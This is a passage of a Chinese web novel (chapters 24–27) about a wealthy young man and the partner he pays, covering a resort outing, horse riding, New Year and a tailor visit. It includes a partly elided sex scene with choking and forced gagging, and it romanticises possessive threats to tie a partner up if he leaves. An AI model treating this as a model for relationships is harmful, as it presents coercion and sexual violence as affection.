“哎哎哎!”秦小添还在不舍地挽留。
李聿鸣走到秦小添身边,让这小祖宗摸自己。
秦小添嫌弃地看他硬邦邦的胸肌:“你的没手感,呵呵。”
李聿鸣怕单承言又要发神经,于是赶紧哄着人离开这个是非之地:“走走走,我们回去看烤全羊。”
秦小添的注意力果然很快被转移,他兴奋地说:“烤好了吗!”
“这不等着你回去确认嘛。”
等他们走后,单承言丢出酸话:“干嘛给他摸。”
江瑶浪把开衫整理好:“他夸我胸练得好,我开心。”
“他是弯的,瑶瑶你要学会避嫌。”
“就算我乐意,你那朋友还不乐意呢。”江瑶浪利用李聿鸣开展反驳。
没想到单承言当真了,他捧住江瑶浪的脸:“你不准乐意,我比秦小添高,比他好看,比他有钱。”
江瑶浪无奈了:“比什么啊,你们都不是一挂的。”
“那你喜欢谁。”单承言很较真。
“你,喜欢你,最喜欢你。”
单承言亲亲江瑶浪的鼻尖,说:“虽然知道瑶瑶是骗我的,但我还是爱听。”
这个话题再聊下去会有点危险,江瑶浪选择用吻平息他的醋意。
24. 第 24 章
两人在湖边磨蹭了好一会,单承言才把人带了回去,桌子旁已经空出两张并排的椅子,备受江瑶浪喜爱的蓝莓也已经移了过来,他让江瑶浪坐下,然后自己坐在他身边。
重新见到江瑶浪的秦小添很是开心,他兔子般窜到江瑶浪身边蹲下,掏出手机亮出自己的微信二维码。
“江瑶浪江瑶浪!加个微信嘛。”
江瑶浪很乐意,掏出手机扫他的码,两人顺利加上联系方式后,江瑶浪给他发了自己的名字,方便他备注。
“不要柠檬是什么意思啊?”秦小添指着江瑶浪的微信昵称问。
听到这个问题,江瑶浪掏出来两颗糖,一颗柠檬一颗橙子,然后都放进了秦小添手里。
他解释:“就是不爱吃这个柠檬糖的意思。”
秦小添拆开柠檬糖的包装,吃进嘴里,过了会他说:“挺好吃的呀。”
“你爱吃?那我下次攒攒都给你。”江瑶浪巴不得有人能帮他分担。
秦小添正准备答应呢,就被护食的单承言挥手赶走了。
单承言也问江瑶浪要糖吃。
江瑶浪翻出裤兜,用行动证明:“没有了。”
“我去把糖要回来。”
江瑶浪伸手扯他的耳朵:“幼不幼稚。”
“那明天的给我。”
“嗯嗯,”江瑶浪有条件地答应他,“柠檬的都给你。”
“橙子我不能吃?”
“你吃了我吃什么?”
“那为什么秦小添可以!”单承言聊着聊着,突然有点上火。
“为啥小添不可以啊?”偷听的李聿鸣忍不住了。
“对啊!为什么我不可以!”秦小添也加入。
“还把糖要回来,”李聿鸣阴阳怪气,“你不是我兄弟吧?被鬼附身了?”
单承言觉得李聿鸣简直欠揍,他站起身就要找李聿鸣打架。
江瑶浪也站了起来,把人按回座位,给他喂了几颗蓝莓:“少爷?”
他又扯了扯单承言的耳朵:“不闹了,嗯?”
单承言伸手抱住江瑶浪的腰,把自己藏进江瑶浪的开衫:“今晚你给我等着。”
哪晚不都是自己等着?
江瑶浪捏捏单承言的后颈,语气随意:“嗯嗯。”
*
在场的众人真觉得这个好脾气的单承言有点吓人了。
宋流玉和钟京辉小声蛐蛐:“我怎么觉得不对劲呢。”
钟京辉笑得神秘莫测:“少爷得吃大亏。”
宋流玉不懂:“啥玩意?大漂亮要骗钱骗身?”
钟京辉不跟傻子计较,很大方地给出解释:“没看出来吗?少爷陷进去了,可是大漂亮明显不在意他啊。”
“不对吧,”宋流玉琢磨了一下,“这不是挺宠的吗?还哄人呢。”
“你要是一个月给我两百万,我也能把你哄上天。”
宋流玉还想继续聊,但钟京辉决心拒绝和傻子交流,只是盯着抱在一起的两人笑得邪恶。
钟京毅:“不打算提醒一下?”
钟京辉斜眼看他哥:“你敢?”
“我可不敢干涉少爷的事。”钟京毅举手投降。
“赌吗?”苏仰春凑了过来,准备开启赌局。
“赌什么?”剩余的众人问。
苏仰春说明内容:“就赌他们俩分了以后,单承言还会不会继续追。”
“这个有意思,但我赌不追。”钟京辉率先入局。
宋流玉说:“我感觉也不会吧,甜哥多要面子。”
钟京毅倒是有不同的看法:“说不准呢。”
只有柚姐斩钉截铁:“追,而且得往死里追。”
苏仰春笑嘻嘻:“可以期待一下咯。”
*
羊烤好了以后,秦小添第一个冲了上去,丝毫没客气地抱回来两只羊腿,他把其中一只分给江瑶浪,单承言自觉伸手接过,然后用小刀片肉喂给江瑶浪。
江瑶浪就着他的手吃了几片,然后就不吃了。
“不好吃吗?”单承言问。
“好吃,但是吃多了有点腻。”
于是单承言放下小刀,挑了片嫩生菜喂过去。
江瑶浪托着脸,说:“其实我可以自己吃的。”
“不行,小猫就是需要等着主人来喂的。”单承言用叶子戳他嘴唇,“小猫小猫快张嘴。”
江瑶浪把生菜吃了,然后自己也拿了一片怼到单承言嘴边:“嘬嘬嘬。”
“把我当狗呢?”
江瑶浪用菜叶子扇他的脸:“恶犬,只知道凶人。”
单承言不以为意:“能护主的就是好狗。”
“所以不够忠诚的就是坏狗,比如某只认错人,还到处乱吠的。”
单承言沉默了。
江瑶浪没再理他,自己站了起来,去挑其它东西吃。
厨师在烤横膈膜,江瑶浪在旁边等他烤好剪小块,然后夹肉沾了点干料和蒜香黄油,伴着青椒圈一起吃。
“真好吃,奶香奶香的。”江瑶浪夸赞。
“酸菜五花肉也很好吃,我给您烤点尝尝。”
在等肉的时候,秦小添又跑了过来。
“江瑶浪!你在吃什么呀?”
江瑶浪换了双筷子,给他夹了块同配置的横膈膜。
秦小添张嘴咬下,激动地惊呼:“这是什么肉!我怎么没吃过!”
“江瑶浪!你太会吃了吧!”
江瑶浪把筷子给他,让他自己夹着吃:“我也不知道呢,刚过来看到在烤,就夹了块试试。”
厨师给他们解答:“是牛肉,横膈膜肉。”
“太好吃了太好吃了!”
秦小添吃东西的时候特别享受,嘴巴鼓鼓囊囊,眼睛幸福地眯起,堪比最顶级的吃播,江瑶浪只是在旁边看他吃都觉得自己食欲大增。
但是秦小添吃得也着急,跟小狗一样,几乎不咀嚼,进嘴就往下咽。
江瑶浪看他就像看自家操心的小孩,他出声提醒:“小添,吃慢点,又没人和你抢。”
“噢噢!”秦小添很听话,速度慢了下来,“江瑶浪你和我奶奶一样耶,我奶奶也老说我吃饭急,像抢食的公鸡。”
“啊!我没有说你老的意思。”
江瑶浪觉得这小孩真可爱,忍不住要逗逗:“我知道,你就是嫌我啰嗦。”
闻言,秦小添愣住了,肉被他嚼到一半,含在嘴里也不继续吃了,忙着解释:“我也不是这个意思!我就是、就是突然想到!”
“小添。”江瑶浪突然喊了他一声。
秦小添呆呆地抬头:“啊?”
“坏心眼的人类最爱干的事情就是欺负小狗崽,看它急得团团转。”
秦小添可算是反应过来了,他瞪大狗狗眼,谴责:“坏!”
“嗯嗯。”江瑶浪用烤肉夹把刚烤好的酸菜五花肉夹进他的狗盆,“呼噜呼噜地吃吧,小狗崽。”
“好!”
真好哄啊,哪儿来的萌小孩,江瑶浪心想。
*
那边的单承言看他们俩有爱互动,心里又不平衡了。
李聿鸣凑过来搭话:“我说过吧,小添很可爱的,特别逗一小孩。”
“哎,我说你对着他酸啥啊,很明显你那个天仙也没对小添有什么特别感情啊。”李聿鸣不解。
明白是一回事,但单承言还是气:“我就是看不得有人离他近,尤其是,他态度还这么好。”
“你遭人嫌弃啊?”李聿鸣在这方面不笨,“这不也正常?他又不是舔狗。”
“你什么意思?”
“得了吧,你那点心思我还不明白?就是想他追你呗,可是抛开钱啊你救过人这些因素,就单单对比你们俩的自身,人家看不上你也挺正常的吧?”
“再加上你浑身臭毛病,如果不是舔狗,谁能真心喜欢你啊。”
“别说了,烦死了。”单承言恼羞成怒,始终不肯正视问题。
“你看,说你两句又不乐意。”
单承言不屑:“你又能好到哪里去。”<
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p>“小添和天仙又不一样,小添这小孩有吃有钱就满足了。”李聿鸣摊手,“正好这些我都能给他,所以我们俩合作愉快。”
“等以后他爱上别人你别哭。”
李聿鸣摸摸自己的寸头:“那我也不爱他啊,小添他要是真喜欢上别人,我肯定放手啊。”
“我不能,真有那么一天,就算是用绑的,也要把他绑回来。”
“你这就没意思了,互相折磨么这不是。”
单承言语气幽幽,像个男鬼:“方法不重要,他能留在我身边就行。”
“我说真的。”李聿鸣把手搭上他的肩,衷心劝告,“不要太自以为是,你得看看别人真正想要的什么。”
单承言把他的手挥开,起身去找江瑶浪:“管好你自己吧。”
*
“吃饱了吗?”
江瑶浪在挖着酸奶吃,听到单承言的问话,他说:“怎么了?”
单承言迫不及待想和江瑶浪独处,于是提了一个他会感兴趣的项目。
“想不想看小马?”
“这里还有马场啊?”江瑶浪有点意外,“那走吧。”
单承言带他上了观光车,车子驶出花园,绕过高尔夫球场与滑雪场,路过无边际泳池和温泉造浪池,自山脚而上,穿过光秃的枫树林,直到半山腰才停下。
天气冷,马匹都在马房里养着,维护马场的员工在门口接待他们,得知来意后把他们带到小马驹所在的厩位。
江瑶浪探头看,发现小马正在站着吃奶,饲槽里装了满满的优质干草与饮水。
“这匹小马出生的时候,我们还在特罗姆瑟,不然我就带你来看了。”单承言解释。
“那它还是个宝宝。”
江瑶浪掏出手机,对准吃奶的小马拍照录视频,然后发给江瑶清看。
江瑶清直呼可爱,追问小马的名字。
“这马叫什么啊?”江瑶浪问单承言。
单承言说:“这匹马是小春看着生的,随她姓,叫苏威猛。”
“这么草率的吗?”江瑶浪笑,同时把名字告诉了江瑶清。
“嗯哼,她特喜欢这个名字。”
江瑶浪又对着这匹白色的小马拍了些照片和视频,看它围着马妈妈蹭,时不时蹦跳甩头,还顽皮地咬马妈妈的尾巴玩。
“真可爱啊,这些小东西。”江瑶浪放下手机,感叹。
单承言看他喜欢,自己也开心,于是又提出带他骑马。
江瑶浪说:“我不会啊。”
“没关系,我牵着慢慢走,你就当坐摇摇车。”
“你靠谱嘛?”江瑶浪怀疑地看向单承言。
单承言失笑:“那我还是挺专业的。”
单承言挑了匹温顺老实的中年马,牵着马来到室内马场,江瑶浪小心地上了马,由单承言牵着慢慢走。
这种玩法虽然安全,但是因为过于平淡,江瑶浪觉得有点无聊,单承言注意到了他兴致不高,于是戴上手套,利落地上马,把江瑶浪护在怀里,牵起缰绳。
“老公带你跑两圈。”
他带着江瑶浪微微前倾身体,小腿肚轻夹马肚子。
这匹经验丰富的马立刻接收到信号,开始慢走,随后速度逐渐加快,从慢走变为快步,再到跑步。
单承言技术很好,江瑶浪只在提速时感受到颠簸,等马真正加速跑起来,就只剩下极具节奏的舒适漂浮感。
出于安全考虑,单承言没带他跑多久,他控制着马停下后,两人一起下了马。
因为兴奋,江瑶浪的脸有点红。
单承言脱了手套,忍不住上手摸:“好玩儿吗?”
“好玩!”江瑶浪很喜欢这种自由的感觉。
“等温度再高点的时候吧,我教你,到时候我们去室外骑。”
两人离开马房的时候,太阳已经落下,只剩下一点被晚霞染红的云。
江瑶浪对着蓝墨水般的天又拍了张照片,单承言等他拍完,然后带着人上了观光车,沿着道路下山,回到了房间。
25. 第 25 章
苏仰春给他们准备的套间很大,超过了两百平,内里一应俱全,室内和庭院都有私汤,新中式的装修风格充满禅意,宁静典雅。
房间配置了地暖,单承言帮江瑶浪脱掉开衫,抽出毛衣下摆,把手伸进衣内,暧昧地摩挲江瑶浪的后腰。
“瑶瑶,天黑了。”
江瑶浪了然,抬手圈他的脖,任由他解开自己的腰带,然后被抱着进了浴室,两人洗了个很短暂的热水澡。
单承言抱着人来到庭院的温泉池边,往江瑶浪身上泼水:“烫吗?”
“挺舒服的。”
……
单承言兴致正好,而江瑶浪已经有点喘不上气,他伸手止住腿间的动作,朝着单承言求饶。
“闷,想喝水。”
单承言分出一只手,用手指挑起他的下巴,俯身舔他缺水的唇,吮湿吮红,然后将江瑶浪抱起离水,取过大浴巾细致地包住人,缓步走进室内。
江瑶浪被放在雕花大床上,单承言倒了杯鲜牛奶喂他喝。
在池里泡了许久的江瑶浪是真渴,他喝得有点急,被呛出的奶从嘴角溢出,他伸出舌头想舔,却正好撞上单承言伸过去擦拭的手指。
于是单承言顺势把被舔的手指伸进江瑶浪的口腔,抠弄里面的软肉,江瑶浪烦他打扰自己喝水,用红舌把作乱的手指推了出去。
单承言也不恼,笑眯眯地搔他的下巴:“小猫喝奶。”
喝空的杯子被单承言随手放在一旁,他站在床边,抄起浴巾给江瑶浪擦头发,江瑶浪头发长,但是对待这件事他却耐心十足,搓得认真。
……单承言抓起那只手放在自己的腰间,语气低沉:“别闹,先帮你把头发弄干。”
“不难受?”
“能忍。”这句话充满欲望。
“可是它对着我,有点吓人。”
单承言带他转了个身,让江瑶浪背向自己:“那你别看。”
“好辛苦啊,少爷。”江瑶浪闷笑。
“哦没关系,都能在你身上讨回来的。”
江瑶浪笑不出来了,反手恶狠狠地掐他的大腿。
*
单承言把江瑶浪的头发处理到八成干,也没心思再管吹风机,随手丢在地上,急切地把人转过来面向自己……
江瑶浪不想那玩意怼到自己下巴,所以把头后仰,玉白的脖子拉得很长,喉结惊慌地上下滑动。
单承言不满他离自己越来越远,大掌包住他的头,把人强行摁在自己的腹肌上。
他憋出了一身薄汗,江瑶浪的脸贴上去的时候感觉到一片粘腻……
江瑶浪松开捧起的手,转而紧紧抱住单承言的腰,在上面挠出痕迹,轻微的痛感让单承言更加暴戾,他掐住江瑶浪的脖,按他突起的喉结,逼着江瑶浪狼狈地反射干呕,眼神涣散,看他漂亮的眼睛无意识流出晶莹的泪。
结束后,单承言亲掉江瑶浪眼角的泪……
……
餍足的单承言问他。
瘫在单承言身上的江瑶浪有气无力地骂:“有病。”
*
单承言把两人清洁干净后,江瑶浪已经昏昏欲睡。
他倒在床上,卷起被子就要睡,单承言把他从被子里挖出来。
江瑶浪不满地哼哼,用绵软的手推他。
单承言抓住那只手搓搓,算作安抚,然后往江瑶浪的身上倒温热的精油:“不闹你,你睡吧,我给你按按。”
虽然困,但江瑶浪还有点警惕,他翻身把备受折腾的胸藏起来,歪着头闷在枕间,很快就睡沉了。
单承言被他的小动作逗笑,但也遵守承诺没打扰他,规规矩矩地给人按舒服了,才把江瑶浪轻轻抱进怀里。
单承言侧头把唇贴在江瑶浪的额头上,声音很飘。
“瑶瑶,喜欢我吧,好不好?”
“哪怕只有一点点。”
试着一点点喜欢我,试着让我多爱你一点点。
*
自他们从山庄回来,单承言突然开始抽风,他沉迷于寻找情侣互动模板,紧追每一个热梗,也不放过每一个老梗,并且乐此不疲地让江瑶浪陪他拍。
照片、音频,视频,甚至是很无谓的虚假聊天记录,单承言都要他配合。
江瑶浪觉得他土死了,吐槽了好多次,威胁他不能往社媒上发。
单承言也不乐意往外发,他只是想源源不断地往自己的交友圈内输出,让所有人都知道江瑶浪是他的,奔着这个目的,单承言每天都在朋友圈勤奋更新与江瑶浪“秀恩爱”的内容,一改以往高冷的对外人设。
对此,李聿鸣的评价是:虚假繁荣。
而苏仰春更是烦得直接把单承言屏蔽了,只有宋流玉和钟家兄弟愉快追更,还给他提供素材。
单承言今天想拍近期很火的“和男友开布加迪挑战”,江瑶浪在床上卷着被子不想起来。
单承言戳他。
江瑶浪挥开他的手,条理清晰:“你是一个尊贵的玛莎拉蒂车主,为什么要模拟开布加迪……”
单承言愣了下,然后说:“你要是想开真的,我也可以现在买啊。”
江瑶浪从被子里伸出半个头:“那我要是想开地铁呢。”
“想开地铁啊?那要先考证。”
江瑶浪把头缩了回去:“我睡着了。”
单承言熟练地点开备忘录,打开自己精心挑选并记录的土味情话,俯身凑到江瑶浪的耳边,对着他一句接一句地念,准备把睡美人土醒。
气得江瑶浪用被子蒙住他的头,然后使劲晃:“烦不烦,烦不烦。”
单承言隔着被子把他抱进自己怀里:“不烦,不烦。”
江瑶浪拍他蒙在被子里的头:“你那股高冷装逼劲呢。”
“不要了。”
“你再这么土下去,真的会变low。”江瑶浪严肃警告。
单承言把头从被子里解放出来,定定地看着江瑶浪:“金主不都是土大款。”
“神经病。”江瑶浪笑骂。
“嗯嗯嗯,快来陪神经病拍视频。”
“单承言,你真的很烦。”
*
江瑶浪无法制裁单承言,但总有人能管得了他,比如掌管着经济大权的家长。
可能是不想单承言把这股土味带到过年,单承言爸妈强制性地把他叫了回家。
“说说吧,”单锦元面色不善,“你最近究竟在闹什么。”
“我怎么了我。”单承言不以为然,吊儿郎当地靠在椅子上
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“什么时候谈的男朋友?”单锦元问得直接。
“没谈。”
闻言,单锦元更生气:“那就是包养了,谁教你的?”
“宋流玉?”单锦元从他身边人入手,有理有据地猜。
“啧,”单承言就烦他,“我就不能是单纯见色起意?”
“单承言,你快二十四岁了,承意这个年纪的时候在做什么,你又在做什么?”单锦元恨铁不成钢。
“你说要搞什么艺术,行,我们同意了,可是这么些年,除了问家里要钱,你还会什么?”
这话就刺耳了,单承言不爱听:“我又不是没名气。”
单锦元冷笑:“自负自大又自私,被惯得一身臭毛病,你还玩起了男人。”
“分了。”单锦元敲敲桌子,给他下通知。
单承言的眼神瞬间变得危险,一句话也没说,扭头就走。
单承言要走,也没人敢拦,单锦元也只是很无奈地朝妻子抱怨:“都是你给惯的。”
曾绍宁淡定地刮着茶:“这孩子的性格不和你一模一样?”
单锦元仿佛被触及逆鳞,他大怒:“我可没教他玩弄别人的感情!还包养!这坏事也就他干得出!”
曾绍宁熟练地顺毛:“嗯嗯,嗯嗯。”
单锦元又翻出单承言的朋友圈,一遍翻一边骂,结果翻着翻着发现看不到了。
“他还屏蔽我!”
曾绍宁笑了出声:“弟弟这是让你眼不见为净。”
“我要把他卡停了。”单锦元给出一贯好用的对策。
然后被曾绍宁劝住:“你还想不想好好过年了?”
曾绍宁喝茶顺顺,说出自己的看法:“急什么,过段时间他就不感兴趣了,贪玩而已。”
“不过说起来,”曾绍宁话锋一转,“那孩子长得真好看啊,也不怪弟弟喜欢。”
在单锦元乱吃醋之前,曾绍宁又补充一句:“如果真的愿意来我们家,好像也不错?”
“不行不行,找个男人像什么样子。”单锦元不太乐意。
“承言爸爸,现在都什么年代了?我们不要这么封建。”
“如果他们真心喜欢,想在一起的话,好像也不错呀。”曾绍宁又喝了一口清茶,笑眯眯地说。
“如果他们真心喜欢,也不会是现在这个开局了。”单锦元说,“见色起意和见钱眼开,能凑成什么好结局。”
“你对那小孩评价不高?”
“以色侍人,能是什么好东西?”
曾绍宁依旧淡然:“随缘吧,不过这种关系,确实不适合维系太久呢。”
“嗯,”单锦元同意,“我最多再忍两月。”
闻言,曾绍宁笑出声:“好辛苦哦?我猜你也想拍个情侣互动视频安慰一下自己?”
被看穿心思的单锦元脸一下就红了,扭扭捏捏地摸上妻子的手。
*
被父亲敲打过的单承言终究还是有所收敛,虽然依旧揪着江瑶浪拍素材,但频率低了不少。
江瑶浪对此长舒一口气。
天知道为什么单承言能面不改色地拍这么多奇奇怪怪的东西。
难道他真的乐在其中吗?
江瑶浪不解。
26. 第 26 章
江瑶浪家人少,但是过年该有的仪式感倒是一点也不缺。
他一大早就出门采购了食材,到家围上围裙就开始和面,等面团醒发的时候,他就开始剁馅,兄妹俩都爱吃茴香猪肉,江瑶浪哐哐哐剁了一大盆,贴好窗花春联的江瑶清钻进厨房一看。
“哥!!吃不完!!”
江瑶浪调馅的动作没停:“没事儿啊,冻着慢慢吃。”
江瑶清又去看那盆肉馅:“茴香猪肉!最好吃了!”
“还有鸡蛋西葫芦呢!”江瑶浪骄傲地报出菜单。
于是江瑶清又开始:“吃不完了!!!”
江瑶浪早有计划,笑得胸有成足:“吃得完吃得完,还要给小玲姐送呢。”
“那我去跟小玲姐说一声,让她不要包了,嘿嘿。”打探到消息的江瑶清转身出了厨房,蹦跳着往楼下走。
江瑶浪哼了一声:“不想包饺子的也不知道是谁呢。”
果不其然,等他把馅料和饺子皮都准备好后,江瑶清还没回来。
江瑶浪找了个电影,听着声坐在椅子上熟练地包饺子,他喜欢把饺子塞得鼓鼓的,每次都会挖一大勺馅料放饺子皮里,皮一折虎口一挤,就包出一个个胖乎乎的元宝饺子。
他以前也会往饺子里放硬币或者糖果,但他实在大方,加了料的饺子比没加的还多,江瑶清嫌弃咯牙或者变味,久而久之,他也就不放了,在吃饺子前就先把硬币和糖给到江瑶清,也算是讨了个彩头。
江瑶浪这次还尝试着包了各种造型的小饺子,福袋、兔子、金鱼、小酒坛、玫瑰花,他恶趣味地往小白菜造型的饺子里面塞满了西葫芦。
等江瑶清回来的时候,江瑶浪已经包好了一桌子,元宝饺子占了半壁江山,剩下的都是小了一大圈的造型饺子,饺子们都整整齐齐地稳站着,端正得像个兵。
还是伙食特别好的那种。
江瑶清双臂交叠撑在她哥背上,从江瑶浪的视角观察饺子,她小手一挥:“看!这些都是江将军为朕打下的江山。”
江瑶浪很配合:“嗯嗯,都是陛下的饺子死士。”
“我可吃不完!”江瑶清拒绝担责,然后伸手去戳小兔子饺。
江瑶浪还在包,但不影响他分出精力保护他的饺子:“戳倒一个吃一个。”
想捣乱的江瑶清紧急撤回手指,但是她又玩起了江瑶浪的头发。
为了方便,江瑶浪扎了高马尾,江瑶清也很喜欢她哥弄这个发型,能显得人特别青春,但她今天想给江瑶浪用上鲨鱼夹。
她进房拿出一个星黛露毛绒抓夹,回到哥哥背后,把江瑶浪头上的毫无情趣的黑皮筋取下来,快速地给他卷了个清清爽爽的高盘发。
“如此圆润饱满的后脑勺,不愧是我哥。”江瑶清捏着星黛露的耳朵,夸赞。
江瑶浪手上都是面粉和油,只能嘴上说说:“不让你玩饺子,你就往我头上放兔子。”
“有哥宠的小孩就是爱捣乱,怎么办呢?”江瑶清还是撑在哥哥背上,嘻嘻哈哈。
“能怎么办,”江瑶浪无计可施,“不宠着又能怎么办呢。”
“哥哥要戴着兔子过年哦,新年的第一秒一定要可可爱爱。”
“哪儿来的歪理。”
“什么歪理,这是清姐的真理!”
“行,”江瑶浪把饺子皮馅都消耗完,将饺子分装放进冰箱里,洗净擦干手后把抓夹从头发上摘下来,然后给江瑶清夹上,“你一个人可可爱爱就够了。”
江瑶浪整理了一下妹妹头上的碎发:“你哥可是顶天立地的男人。”
黑色大卷发柔顺地散落,铺了满背,美得雌雄莫辨的脸上镶嵌着一双熠熠生辉的眸,只映出江瑶清小小的身影。
*
他们没有必须守岁的习惯,江瑶清学业压力大,好不容易有个稍微长点的假期,刚过十点就打着哈欠进房,戴着耳塞睡了。
江瑶浪倒是不困,今天他只是在家里包饺子做年夜饭,没有人不分时候不分地点地闹他,让他难得精力充沛。
他靠在沙发上,戴着耳机用手机看春晚,不算有意思,但江瑶浪本来就存着让它催眠自己的意思,漫不经心地看到了尾程。
在他生出睡意的时候,单承言给他打来了电话。
江瑶浪没细看就接了,哼出鼻音:“嗯?”
“瑶瑶宝贝,瑶瑶宝贝,放下你的长发,让我爬上这黑色的梯子。”
单承言的声音从耳机内传来,有点空,但很温柔。
江瑶浪低头一看,才发现这人给他打的是视频通话,背景是熟悉的自家楼下。
他拿着手机走到窗外,探头往下看。
单承言靠着车,举着手机,抬头看他。
“瑶瑶宝贝,快放下你的长发。”
诱哄般的声音愈发轻柔,让江瑶浪的耳朵有点麻痒。
“头发不够长,怎么办呢?”江瑶浪顺着他的话题接。
“那我就上来敲门。”
江瑶浪笑了声:“我下去吧。”
他挂了通话摘下耳机,往睡衣外套了件长款羽绒服,穿着保暖毛拖,又从冰箱里拿了一盒分装好的元宝饺子装进手提袋,动作很轻地开了门。
而单承言出现在眼前。
江瑶浪反手关上了门:“跑上来的?”
“嗯,等不及了。”
“不是说要和家里人守岁?”
“偷跑出来的本事还是有的。”
单承言看他手上拎着东西,自信道:“是给我的。”
江瑶浪把袋子递过去:“饺子,茴香猪肉口味的,不知道你能不能吃得惯。”
单承言很开心,伸手接过:“这有什么吃不惯的。”
然后他从衣服内兜里面拿出一个很厚的红包,放在江瑶浪手上。
江瑶浪掂量着重量:“这算什么?礼尚往来吗?你这也太亏了。”
“不是,这个是给小清的。”
江瑶浪挑眉:“以什么身份?”
单承言回避:“你来决定。”
“好,那我就说是我那个大方的老板给的。”
单承言叹气:“我不和你生气。”
他又掏出来一个东西,放在红包上面。
是一条设计高端的车钥匙。
江瑶浪看着车钥匙,问:“这是什么?”
“布加迪陀飞轮。”单承言说明车型,“年后我教你开车,好不好?”
车是好车,但没送进江瑶浪心里。
他把车钥匙还了回去,只收下给江瑶清的红包。
被拒绝的单承言问他为什么,眉间隐隐带着不愉。
江瑶浪只是笑,说自己开不来车,尤其是性能这么好的。
正过年的,
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单承言就算有再大的脾气也不敢朝江瑶浪发。
所以他张开双臂,让江瑶浪抱他。
江瑶浪很顺从地上前一步,抱住他还凉的身体。
“江瑶浪,新年快乐。”单承言捏捏他的后颈,亲他的耳尖。
“新年快乐,单承言。”
楼外传来热热闹闹的鞭炮声和吉祥话,可相拥的两人依旧冷冷清清。
只有鼓动的心跳声证明,他还在意。
*
年后,江瑶浪也开始忙自己的毕业论文,他在公寓里抱着电脑查资料,单承言就抱着他给他编发。
经过数月的练习,单承言编发的手艺精进不少,全程没把江瑶浪扯疼,编出来的森系侧麻花低丸子公主头堪称完美。
他在麻花辫上绕了新拍下的重工繁花发饰,各色宝石与钻石在浪漫奢华但细致如蕾丝的构图中绽放华彩,炫目却互不夺眼,安静地盛开在温柔发间。
单承言极为满意这个造型,先是用手机拍摄记录,随后又换了相机拍,他把修好的照片放在江瑶浪眼前让他看,期待一句夸夸。
江瑶浪看论文看得正烦呢,看到照片也只是不太走心地称赞两句。
自觉被忽视的单承言在确认江瑶浪电脑没有需要保存的内容后,直接伸手盖上,把笔记本甩远了。
“喂!”江瑶浪颦眉瞪他。
单承言伸手给他按摩眼眶:“已经学了很久了!要休息!”
大道理说完,他还补充一句:“都说给学校捐楼了,让你别这么辛苦。”
江瑶浪对着人翻了个白眼:“我可不像你只会买学位。”
“哼,你老公的研究生可是正儿八经自己考上的。”单承言虽然不务正业,但在艺术上的天赋确实是高的。
江瑶浪烦他,伸手掐他结实的大腿肌,觉得不好用力,又改为拍。
单承言可委屈死了,控诉道:“你瞪我还打我。”
“呵,”江瑶浪冷笑警告,“再不把电脑还我,我还踢你呢。”
“踢,给你踢,往这里踢。”单承言流氓地抓住江瑶浪的脚踝往自己的腿间带,还不要脸地挺了挺。
江瑶浪深知自己已不具备学习的条件,认命地倒在单承言身上。
“搞吧,搞完了好睡觉。”
单承言今夜难得温柔,江瑶浪还有点不习惯。
“这么宝贝你的手艺呢?”江瑶浪调侃。
单承言顿了下,然后恢复了以往的节奏。
“心疼你学习累,瑶瑶还不领情。”
江瑶浪被刺激得身体后仰,又被单承言抓回来锁在怀里。
也就是江瑶浪习惯了,才能在这种时候从学习联想到江瑶清,以及那个确定在三月中下旬举行的集体成人礼。
他抱住单承言的头,让他看向自己:“少爷,我要你帮我个忙。”
江瑶浪难得开口求助,单承言自然以为是有什么天大的难事,他动作也停了,脸色还挺凝重:“怎么了?”
“嗯……就是我想要一套正式点的衣服,你能推荐一下吗?”江瑶浪说出自己的需求。
听到这话,单承言才放下心来,他问:“西装?”
江瑶浪点点头:“可以啊。”
于是单承言恢复动作:“好,明天带你找我家裁缝。”
他亲上江瑶浪的唇:“给瑶瑶量体裁衣。”
27. 第 27 章
裁缝老张是单锦元年轻时在伦敦萨维尔街定制西装时遇到的,他欣赏老张的手艺与坚持,两人交谈甚欢,辅以重金,才成功将他请回国,只为服务单家制衣,至今已逾二十年。
单承言成人礼所穿的西装,也是出自他手。
老张的裁缝店不算大,装修风格很经典,但区域的划分以及物品摆放让江瑶浪感到一丝熟悉。
他悄悄凑近单承言的耳边:“Huntsman?”
单承言挑眉,正准备回答他,结果老张抢先承认:“被小友看出来了呀。”
没想到会被听到的江瑶浪有点不好意思:“我有一部挺喜欢的电影,里面的场景和这里有点像。”
随后他看向老张:“当年我就计划过,等以后有钱了一定要去Huntsman定制一身,没想到今天误打误撞,也算是圆梦了。”
老张摆手,自谦:“比不上,我现在就是一个无名手艺人。”
然后老张说:“就不寒喧了,直接说小友的需求吧。”
“好。”江瑶浪没有定制的经验,所以只是简单说明自己的要求与应用场景,“是用于参加我妹妹的成人礼,想要稍微正式点。”
“什么时候需要?”
“三月下旬。”江瑶浪回。
闻言,老张缓步走到江瑶浪身边,目不转睛地打量他,判断个人风格。
江瑶浪被他看着,忍不住挺直了身体。
过了几分钟,老张说出意见:“可以试试竖条纹双排扣六扣二戗驳领,嗯,颜色可以选炭灰色,小友觉得呢?”
专业人的观点当然要听,颜色也是江瑶浪喜欢的,所以他点头同意了。
老张颔首,然后让江瑶浪选面料。
江瑶浪有点为难,最后还是单承言插手敲定:“多美的莫扎特系列吧,Super110’s,窄条纹。”
于是老张找出单承言所说的那款面料,披在江瑶浪的肩膀上:“你可以活动一下,感受触感和垂坠感,看看喜不喜欢。”
江瑶浪做了几个简单的动作:“很合适,谢谢。”
“颜色、光泽度以及暗纹呢?”
江瑶浪点头确认:“都很喜欢。”
“承言给你选的这款料挺合适的,硬挺抗皱,经典不出错,可以穿很久。”老张把面料取下,“三月下旬,面料克重……300克吧。”
“好啊。”
接下来是皮鞋,单承言给江瑶浪挑了双黑色三接头牛津鞋,看到鞋子的时候,江瑶浪下意识说了一句:“碰一碰不会出现毒刀吧?”
单承言觉得江瑶浪真是可爱,他让两只皮鞋互相撞了撞,示意绝对安全:“这里是老张的裁缝店,又不是《Kingsman》。”
江瑶浪哼了一声:“谁知道你们有钱人的窝点里都藏了什么。”
确定好需求,老张拿来贴身的样衣,递给江瑶浪,吩咐单承言等他换好后,直接带去量体室。
“张叔也是开始把我当助手使唤了。”单承言应了下来,但还是嘴贱一句。
老张也不客气:“你自己带来的人,就该你负责。”
这话单承言受用:“那确实,他是我的人。”
结果听到这话的老张,目光锐利地看向单承言:“我警告你,不准在我的店里乱搞。”
单承言无奈了:“什么时候我在您心里是这种形象了。”
“你小子从小就混。”老张催他,“快让小友换衣服,碍手碍脚。”
